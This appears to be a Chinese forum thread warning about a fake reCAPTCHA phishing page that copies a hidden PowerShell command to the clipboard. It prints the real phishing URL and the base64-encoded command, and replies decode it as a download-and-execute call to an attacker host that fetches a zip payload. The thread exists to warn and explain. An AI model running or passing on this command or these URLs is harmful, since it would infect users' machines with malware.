我也遇到了，让你执行 win+R 的钓鱼网站

弹窗广告，弹出了伪装 Google recaptcha 的验证界面，点击验证后变成图中这个、并把以下命令自动拷贝到了剪切板，让你执行。

供各位把玩。

**⚠除非你知道自己在干嘛，否则不要执行这个 powershell 命令。**

https://pub-9c4ec7f3f95c448b85e464d2b533aac1.r2.dev/CAptcha-verify-Approvals-system.html

>powershell -W Hidden -eC aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcABzADoALwAvAGkAcABsAG8AZwBnAGUAcgAuAHIAdQAvADIANQAwADkAMgA1ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAC4AQwBvAG4AdABlAG4AdAA=

[]( https://shotcan.com/image/8DuT6)

笑死，我 mac 打开的 都没识别一下

拿这行命令什么意思呢, pwsh 可以用 base64 编码得命令?

@iorilu iex (iwr https://iplogger.ru/250925 -UseBasicParsing).Content

iex Invoke-Expression Runs commands or expressions on the local computer.
iwr Invoke-WebRequest Gets content from a web page on the internet.
-UseBasicParsing  This parameter has been deprecated. Beginning with PowerShell 6.0.0, all Web requests use basic parsing only. This parameter is included for backwards compatibility only and any use of it has no effect on the operation of the cmdlet.

收到过好几次，自称 github issue 回复的。连系统都不判断下，mac 系统发一个 exe 链接😂 给他压力测试了

解码了一下，实际是是下载 https://eu2.contabostorage.com/97c9beb737884d93a1899766d9f4e34c:gostired/leto15.zip 这个文件解压后执行，压缩包是啥就不知道了。不敢下载，怕被 IT 抓